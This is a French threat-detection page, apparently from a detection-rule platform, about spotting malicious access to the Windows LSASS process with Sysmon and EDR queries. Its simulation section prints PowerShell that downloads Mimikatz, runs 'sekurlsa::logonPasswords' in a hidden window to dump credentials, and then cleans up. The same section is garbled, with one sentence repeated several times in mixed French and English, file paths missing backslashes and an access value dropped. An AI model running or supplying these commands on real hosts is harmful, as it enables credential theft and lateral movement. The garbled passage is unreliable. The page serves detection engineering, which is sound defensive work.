Recherche d’accès malveillant à LSASS dans les environnements Windows
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
L’article décrit comment les adversaires extraient des identifiants en accédant au processus LSASS avec des outils comme Mimikatz et Cobalt Strike. Il couvre les appels typiques de l’API Windows, les DLL et les droits d’accès impliqués dans le vidage de la mémoire LSASS. Les auteurs partagent des requêtes de détection actualisées pour Sysmon et d’autres plateformes EDR, en mettant l’accent sur le renforcement de la couverture de détection des vidages d’identifiants.
Investigation
L’équipe de recherche sur les menaces de Splunk a émule l’accès à LSASS en utilisant Atomic Red Team, Mimikatz, Invoke-Mimikatz et Cobalt Strike. Ils ont capturé la télémétrie Sysmon montrant les chargements de DLL (dbgcore.dll, dbghelp.dll, ntdll.dll) et les valeurs caractéristiques GrantedAccess. Cet ensemble de données a ensuite été utilisé pour affiner les requêtes de détection qui corrèlent les informations CallTrace avec des droits d’accès spécifiques.
Atténuation
Ajustez les politiques Sysmon ou EDR pour journaliser les événements ProcessAccess contre lsass.exe, en appliquant des filtres sur les DLL connues et les droits d’accès pertinents tout en mettant sur liste blanche les processus système approuvés. Utilisez les requêtes fournies pour générer des alertes sur les modèles d’accès LSASS suspects. Examinez et affinez continuellement ces règles à mesure que de nouveaux outils et techniques émergent.
Réponse
Lorsqu’une détection est déclenchée, validez le processus d’origine, le contexte utilisateur associé et les DLL impliquées dans l’accès à LSASS. Isolez le point de terminaison affecté, capturez la mémoire pour une analyse forensic plus approfondie et évaluez les preuves de vol d’identifiants. Examinez l’arborescence des processus pour distinguer les utilitaires administratifs légitimes des activités indicatives d’un attaquant.
Flux d’attaque
Nous sommes encore en train de mettre à jour cette partie. Inscrivez-vous pour être notifié
Notifiez-moiDétections
HackTool – Accès générique au processus
Voir
Chargement suspect des DLL Dbgcore/Dbghelp à partir d’un emplacement inhabituel
Voir
Accès suspect au processus LSASS avec les DLL Dbgcore/Dbghelp
Voir
Détecter le vidage d’identifiants LSASS via l’accès au processus [Windows Sysmon]
Voir
Exécution de simulation
Prérequis : La vérification préalable de la télémétrie et de la base de référence doit avoir réussi.
Raisonnement : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit doivent refléter directement les TTP identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.
-
Récit et commandes d’attaque :
Un attaquant a obtenu des droits d’administrateur local sur l’hôte de la victime et souhaite collecter des identifiants pour un mouvement latéral. Ils copient l’outil open-source Mimikatz sur la machine, élèvent le processus au privilège DEBUG et invoquent le modulesekurlsa::logonPasswords, qui lit la mémoire LSASS via des appels API natifs traversantntdll.dll. Sysmon enregistre cela comme un événement ProcessAccess avec plusieurs drapeaux GrantedAccess hautement privilégiés (par exemple,GrantedAccess). L’attaquant exécute l’outil depuis une session Powershell cachée pour éviter l’exposition UI.). L'attaquant exécute l'outil depuis une session Powershell cachée pour éviter l'exposition UI.,). L'attaquant exécute l'outil depuis une session Powershell cachée pour éviter l'exposition UI.,). L'attaquant exécute l'outil depuis une session Powershell cachée pour éviter l'exposition UI.). The attacker runs the tool from a hidden PowerShell session to avoid UI exposure.# 1. Déposer le binaire Mimikatz dans %TEMP% $mkPath = "$env:TEMPmimikatz.exe" Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0/mimikatz_trunk.zip" -OutFile "$env:TEMPmk.zip" Expand-Archive -Path "$env:TEMPmk.zip" -DestinationPath $env:TEMP -Force Move-Item -Path "$env:TEMPmimikatzx64mimikatz.exe" -Destination $mkPath -Force # 2. Exécuter Mimikatz avec des commandes de vidage d'identifiants Start-Process -FilePath $mkPath -ArgumentList 'privilege::debug sekurlsa::logonPasswords exit' -WindowStyle Hidden -Wait -
Script de test de régression :
# ---------------------------------------------------------------------- # Simulation de vidage d'identifiants LSASS – déclenche la règle Sigma #4e0789a0… # ---------------------------------------------------------------------- # Déposer Mimikatz (si pas déjà présent) $mkPath = "$env:TEMPmimikatz.exe" if (-Not (Test-Path $mkPath)) { $zip = "$env:TEMPmk.zip" Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0/mimikatz_trunk.zip" -OutFile $zip Expand-Archive -Path $zip -DestinationPath $env:TEMP -Force Move-Item -Path "$env:TEMPmimikatzx64mimikatz.exe" -Destination $mkPath -Force Remove-Item $zip -Force } # Exécuter Mimikatz pour vider les identifiants LSASS $args = 'privilege::debug sekurlsa::logonPasswords exit' Write-Host "[+] Exécution de Mimikatz pour le vidage de LSASS..." Start-Process -FilePath $mkPath -ArgumentList $args -WindowStyle Hidden -Wait Write-Host "[+] Exécution de Mimikatz terminée." # ---------------------------------------------------------------------- -
Commandes de nettoyage :
# Supprimer le binaire Mimikatz et tous les fichiers résiduels $mkPath = "$env:TEMPmimikatz.exe" if (Test-Path $mkPath) { Remove-Item $mkPath -Force } $folder = "$env:TEMPmimikatz" if (Test-Path $folder) { Remove-Item $folder -Recurse -Force } Write-Host "Nettoyage terminé."